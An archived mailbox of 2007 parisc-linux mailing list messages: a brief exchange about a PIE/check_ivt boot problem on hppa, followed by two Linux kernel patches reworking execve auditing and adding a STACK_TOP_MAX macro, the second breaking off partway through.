Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2007 01:10:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 04 Jun 2007 03:10:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB4ED7DDE6;
	Sun,  3 Jun 2007 19:10:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14173-07; Sun, 3 Jun 2007 19:10:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5E137DDDE;
	Sun,  3 Jun 2007 19:10:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D06E67DDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 19:10:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14183-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 19:10:09 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 0E8C07DDC2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 19:10:09 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 855825840CE;
	Sun,  3 Jun 2007 21:10:08 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 03E245840C3;
	Sun,  3 Jun 2007 21:10:07 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 9E18C23E02; Sun,  3 Jun 2007 21:10:07 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200706040102.l5412OUS022106@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KSIpAcZQa2A7nLvDOHQytmcyOWhhager
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24638

On Sun, Jun 03, 2007 at 09:02:24PM -0400, John David Anglin wrote:
> 
> I don't think so.  There's some wierd stuff in check_ivt.  It looks
> like the function is trying to see if it can compute a checksum for
> the os_hpmc function without causing a panic.  However, the function
> pointer stuff is all wrong.  Note that 32 and 64-bit function pointer
> handling is completely different.
> 

Er, then why didn't it complain before?

Can you do a quick test if I cook up a patch?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 21:23:49 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200706040123.l541Nnc1022459__22539.4736546606$1416624388$gmane$org@hiauly1.hia.nrc.ca>
References: <20070604011007.GA2075@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624388 24477 80.91.229.3 (22 Nov 2014 02:46:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:28 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2007 01:23:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 04 Jun 2007 03:23:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 146E87DDEA;
	Sun,  3 Jun 2007 19:23:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14442-07; Sun, 3 Jun 2007 19:23:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C63D77DDEC;
	Sun,  3 Jun 2007 19:23:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8D827DDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 19:23:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14412-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 19:23:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0CBB27DDE8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 19:23:50 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l541NnXL022460;
	Sun, 3 Jun 2007 21:23:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l541Nnc1022459;
	Sun, 3 Jun 2007 21:23:49 -0400 (EDT)
In-Reply-To: <20070604011007.GA2075@fattire.cabal.ca> from "Kyle McMartin" at
	Jun 3, 2007 09:10:07 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1g0LC6pWbHIymK3NNjQ0XXAqJihyahC9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24639

> Er, then why didn't it complain before?

I think the linker script may have changed.

> Can you do a quick test if I cook up a patch?

Yes.  I disabled the code after "cows can fly".  2.6.22-rc2
now boots and df works.s

However, svn is still behaving wierdly:
Badness at 000000004018e2cc
Seems to be in __kmalloc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 2/4] audit: rework execve audit
Date: Tue, 05 Jun 2007 17:05:25 +0200
Lines: 223
Approved: news@gmane.org
Message-ID: <20070605151203.626442000__23056.535193655$1416624389$gmane$org@chello.nl>
References: <20070605150523.786600000@chello.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624389 24479 80.91.229.3 (22 Nov 2014 02:46:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:29 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 Andi Kleen <ak@suse.de>,
 linux-audit@redhat.com,
 Ollie Wild <aaw@google.com>,
 Ingo Molnar <mingo@elte.hu>
To: linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org,
 linux-mm@kvack.org,
 linux-arch@vger.kernel.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2007 15:14:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 05 Jun 2007 17:14:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CAE97DDFB;
	Tue,  5 Jun 2007 09:14:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11707-09; Tue, 5 Jun 2007 09:14:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 496167DE18;
	Tue,  5 Jun 2007 09:14:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9BA017DE10
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jun 2007 09:14:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11347-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Jun 2007 09:14:28 -0600 (MDT)
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by free.linux.hp.com (Postfix) with ESMTP id 9936D7DDFB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jun 2007 09:14:28 -0600 (MDT)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com
	[172.16.52.254])
	by mx1.redhat.com (8.13.1/8.13.1) with ESMTP id l55FEEEI024778;
	Tue, 5 Jun 2007 11:14:14 -0400
Original-Received: from pobox.stuttgart.redhat.com (pobox.stuttgart.redhat.com
	[172.16.2.10])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id l55FED6v001863;
	Tue, 5 Jun 2007 11:14:13 -0400
Original-Received: from taijtu.programming.kicks-ass.net (vpn-4-44.str.redhat.com
	[10.32.4.44])
	by pobox.stuttgart.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id
	l55FEBfK004473; Tue, 5 Jun 2007 17:14:12 +0200
Original-Received: by taijtu.programming.kicks-ass.net (Postfix, from userid 0)
	id AC3EAA36C0A; Tue,  5 Jun 2007 17:13:47 +0200 (CEST)
User-Agent: quilt/0.46-1
Content-Disposition: inline; filename=execve_audit.patch
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jRkNC/hwbHIymK3NNjQ0lq4qJihyatB5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24640

The purpose of audit_bprm() is to log the argv array to a userspace daemon at
the end of the execve system call. Since user-space hasn't had time to run,
this array is still in pristine state on the process' stack; so no need to copy
it, we can just grab it from there.

In order to minimize the damage to audit_log_*() copy each string into a
temporary kernel buffer first.

Currently the audit code requires that the full argument vector fits in a
single packet. So currently it does clip the argv size to a (sysctl) limit, but
only when execve auditing is enabled.

If the audit protocol gets extended to allow for multiple packets this check
can be removed.

Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Signed-off-by: Ollie Wild <aaw@google.com>
Cc: linux-audit@redhat.com
---
 fs/exec.c               |    3 +
 include/linux/binfmts.h |    1 
 include/linux/sysctl.h  |    1 
 kernel/audit.c          |   16 +++++++++
 kernel/audit.h          |    1 
 kernel/auditsc.c        |   82 ++++++++++++++++++++++++++++++++----------------
 kernel/sysctl.c         |   11 ++++++
 7 files changed, 89 insertions(+), 26 deletions(-)

Index: linux-2.6-2/kernel/auditsc.c
===================================================================
--- linux-2.6-2.orig/kernel/auditsc.c	2007-06-05 09:51:53.000000000 +0200
+++ linux-2.6-2/kernel/auditsc.c	2007-06-05 10:03:31.000000000 +0200
@@ -156,7 +156,7 @@ struct audit_aux_data_execve {
 	struct audit_aux_data	d;
 	int argc;
 	int envc;
-	char mem[0];
+	struct mm_struct *mm;
 };
 
 struct audit_aux_data_socketcall {
@@ -834,6 +834,47 @@ static int audit_log_pid_context(struct 
 	return rc;
 }
 
+static void audit_log_execve_info(struct audit_buffer *ab,
+		struct audit_aux_data_execve *axi)
+{
+	int i;
+	long len;
+	const char __user *p = (const char __user *)axi->mm->arg_start;
+
+	if (axi->mm != current->mm)
+		return; /* execve failed, no additional info */
+
+	for (i = 0; i < axi->argc; i++, p += len) {
+		long ret;
+		char *tmp;
+
+		len = strnlen_user(p, MAX_ARG_PAGES*PAGE_SIZE);
+		/*
+		 * We just created this mm, if we can't find the strings
+		 * we just copied in something is _very_ wrong.
+		 */
+		BUG_ON(!len);
+
+		tmp = kmalloc(len, GFP_KERNEL);
+		if (!tmp) {
+			audit_panic("out of memory for argv string\n");
+			break;
+		}
+
+		ret = copy_from_user(tmp, p, len);
+		/*
+		 * There is no reason for this copy to be short.
+		 */
+		BUG_ON(ret);
+
+		audit_log_format(ab, "a%d=", i);
+		audit_log_untrustedstring(ab, tmp);
+		audit_log_format(ab, "\n");
+
+		kfree(tmp);
+	}
+}
+
 static void audit_log_exit(struct audit_context *context, struct task_struct *tsk)
 {
 	int i, call_panic = 0;
@@ -974,13 +1016,7 @@ static void audit_log_exit(struct audit_
 
 		case AUDIT_EXECVE: {
 			struct audit_aux_data_execve *axi = (void *)aux;
-			int i;
-			const char *p;
-			for (i = 0, p = axi->mem; i < axi->argc; i++) {
-				audit_log_format(ab, "a%d=", i);
-				p = audit_log_untrustedstring(ab, p);
-				audit_log_format(ab, "\n");
-			}
+			audit_log_execve_info(ab, axi);
 			break; }
 
 		case AUDIT_SOCKETCALL: {
@@ -1824,32 +1860,31 @@ int __audit_ipc_set_perm(unsigned long q
 	return 0;
 }
 
+int audit_argv_kb = 32;
+
 int audit_bprm(struct linux_binprm *bprm)
 {
 	struct audit_aux_data_execve *ax;
 	struct audit_context *context = current->audit_context;
-	unsigned long p, next;
-	void *to;
 
 	if (likely(!audit_enabled || !context || context->dummy))
 		return 0;
 
-	ax = kmalloc(sizeof(*ax) + PAGE_SIZE * MAX_ARG_PAGES - bprm->p,
-				GFP_KERNEL);
+	/*
+	 * Even though the stack code doesn't limit the arg+env size any more,
+	 * the audit code requires that _all_ arguments be logged in a single
+	 * netlink skb. Hence cap it :-(
+	 */
+	if (bprm->argv_len > (audit_argv_kb << 10))
+		return -E2BIG;
+
+	ax = kmalloc(sizeof(*ax), GFP_KERNEL);
 	if (!ax)
 		return -ENOMEM;
 
 	ax->argc = bprm->argc;
 	ax->envc = bprm->envc;
-	for (p = bprm->p, to = ax->mem; p < MAX_ARG_PAGES*PAGE_SIZE; p = next) {
-		struct page *page = bprm->page[p / PAGE_SIZE];
-		void *kaddr = kmap(page);
-		next = (p + PAGE_SIZE) & ~(PAGE_SIZE - 1);
-		memcpy(to, kaddr + (p & (PAGE_SIZE - 1)), next - p);
-		to += next - p;
-		kunmap(page);
-	}
-
+	ax->mm = bprm->mm;
 	ax->d.type = AUDIT_EXECVE;
 	ax->d.next = context->aux;
 	context->aux = (void *)ax;
Index: linux-2.6-2/fs/exec.c
===================================================================
--- linux-2.6-2.orig/fs/exec.c	2007-06-05 09:51:42.000000000 +0200
+++ linux-2.6-2/fs/exec.c	2007-06-05 10:03:11.000000000 +0200
@@ -1154,6 +1154,7 @@ int do_execve(char * filename,
 {
 	struct linux_binprm *bprm;
 	struct file *file;
+	unsigned long tmp;
 	int retval;
 	int i;
 
@@ -1208,9 +1209,11 @@ int do_execve(char * filename,
 	if (retval < 0)
 		goto out;
 
+	tmp = bprm->p;
 	retval = copy_strings(bprm->argc, argv, bprm);
 	if (retval < 0)
 		goto out;
+	bprm->argv_len = tmp - bprm->p;
 
 	retval = search_binary_handler(bprm,regs);
 	if (retval >= 0) {
Index: linux-2.6-2/include/linux/binfmts.h
===================================================================
--- linux-2.6-2.orig/include/linux/binfmts.h	2007-06-05 09:51:44.000000000 +0200
+++ linux-2.6-2/include/linux/binfmts.h	2007-06-05 10:03:11.000000000 +0200
@@ -40,6 +40,7 @@ struct linux_binprm{
 	unsigned interp_flags;
 	unsigned interp_data;
 	unsigned long loader, exec;
+	unsigned long argv_len;
 };
 
 #define BINPRM_FLAGS_ENFORCE_NONDUMP_BIT 0
Index: linux-2.6-2/kernel/sysctl.c
===================================================================
--- linux-2.6-2.orig/kernel/sysctl.c	2007-06-05 09:51:53.000000000 +0200
+++ linux-2.6-2/kernel/sysctl.c	2007-06-05 10:04:05.000000000 +0200
@@ -78,6 +78,7 @@ extern int percpu_pagelist_fraction;
 extern int compat_log;
 extern int maps_protect;
 extern int sysctl_stat_interval;
+extern int audit_argv_kb;
 
 /* this is needed for the proc_dointvec_minmax for [fs_]overflow UID and GID */
 static int maxolduid = 65535;
@@ -615,6 +616,16 @@ static ctl_table kern_table[] = {
 		.proc_handler   = &proc_dointvec,
 	},
 #endif
+#ifdef CONFIG_AUDITSYSCALL
+	{
+		.ctl_name	= CTL_UNNUMBERED,
+		.procname	= "audit_argv_kb",
+		.data		= &audit_argv_kb,
+		.maxlen		= sizeof(int),
+		.mode		= 0644,
+		.proc_handler	= &proc_dointvec,
+	},
+#endif
 
 	{ .ctl_name = 0 }
 };

-- 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 1/4] arch: personality independent stack top
Date: Tue, 05 Jun 2007 17:05:24 +0200
Lines: 318
Approved: news@gmane.org
Message-ID: <20070605151203.548530000__30519.6091685959$1416624389$gmane$org@chello.nl>
References: <20070605150523.786600000@chello.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624389 24482 80.91.229.3 (22 Nov 2014 02:46:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:29 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 Ingo Molnar <mingo@elte.hu>,
 Andi Kleen <ak@suse.de>,
 Ollie Wild <aaw@google.com>,
 Peter Zijlstra <a.p.zijlstra@chello.nl>
To: linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org,
 linux-mm@kvack.org,
 linux-arch@vger.kernel.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2007 15:15:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx099) with SMTP; 05 Jun 2007 17:15:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D9A57DE11;
	Tue,  5 Jun 2007 09:14:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11748-07; Tue, 5 Jun 2007 09:14:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E74D77DE25;
	Tue,  5 Jun 2007 09:14:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EDA07DE11
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jun 2007 09:14:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11321-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Jun 2007 09:14:30 -0600 (MDT)
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by free.linux.hp.com (Postfix) with ESMTP id 7EDD97DE05
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jun 2007 09:14:30 -0600 (MDT)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com
	[172.16.52.254])
	by mx1.redhat.com (8.13.1/8.13.1) with ESMTP id l55FEEkd024789;
	Tue, 5 Jun 2007 11:14:14 -0400
Original-Received: from pobox.stuttgart.redhat.com (pobox.stuttgart.redhat.com
	[172.16.2.10])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id l55FEDhl001865;
	Tue, 5 Jun 2007 11:14:13 -0400
Original-Received: from taijtu.programming.kicks-ass.net (vpn-4-44.str.redhat.com
	[10.32.4.44])
	by pobox.stuttgart.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id
	l55FEBJH004474; Tue, 5 Jun 2007 17:14:12 +0200
Original-Received: by taijtu.programming.kicks-ass.net (Postfix, from userid 0)
	id AD37EA36C08; Tue,  5 Jun 2007 17:13:47 +0200 (CEST)
User-Agent: quilt/0.46-1
Content-Disposition: inline; filename=stack_top_max.patch
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: w09WcqlYX1Vpz+uYY2FyDL53SDc4NIza
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24641

New arch macro STACK_TOP_MAX it gives the larges valid stack address for
the architecture in question.

It differs from STACK_TOP in that it will not distinguish between personalities
but will always return the largest possible address.

This is used to create the initial stack on execve, which we will move down
to the proper location once the binfmt code has figured out where that is.

Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Signed-off-by: Ollie Wild <aaw@google.com>
---
 fs/exec.c                    |    2 +-
 include/asm-alpha/a.out.h    |    2 ++
 include/asm-arm/a.out.h      |    1 +
 include/asm-arm26/a.out.h    |    1 +
 include/asm-avr32/a.out.h    |    1 +
 include/asm-cris/a.out.h     |    1 +
 include/asm-frv/mem-layout.h |    1 +
 include/asm-h8300/a.out.h    |    1 +
 include/asm-i386/a.out.h     |    1 +
 include/asm-ia64/ustack.h    |    1 +
 include/asm-m32r/a.out.h     |    1 +
 include/asm-m68k/a.out.h     |    1 +
 include/asm-mips/a.out.h     |    1 +
 include/asm-parisc/a.out.h   |    1 +
 include/asm-powerpc/a.out.h  |    3 +++
 include/asm-s390/a.out.h     |    1 +
 include/asm-sh/a.out.h       |    1 +
 include/asm-sh64/a.out.h     |    1 +
 include/asm-sparc/a.out.h    |    1 +
 include/asm-sparc64/a.out.h  |    2 ++
 include/asm-um/a.out.h       |    2 ++
 include/asm-x86_64/a.out.h   |    3 ++-
 include/asm-xtensa/a.out.h   |    1 +
 23 files changed, 29 insertions(+), 2 deletions(-)

Index: linux-2.6-2/include/asm-alpha/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-alpha/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-alpha/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -101,6 +101,8 @@ struct exec
 #define STACK_TOP \
   (current->personality & ADDR_LIMIT_32BIT ? 0x80000000 : 0x00120000000UL)
 
+#define STACK_TOP_MAX	0x00120000000UL
+
 #endif
 
 #endif /* __A_OUT_GNU_H__ */
Index: linux-2.6-2/include/asm-arm/a.out.h
===================================================================
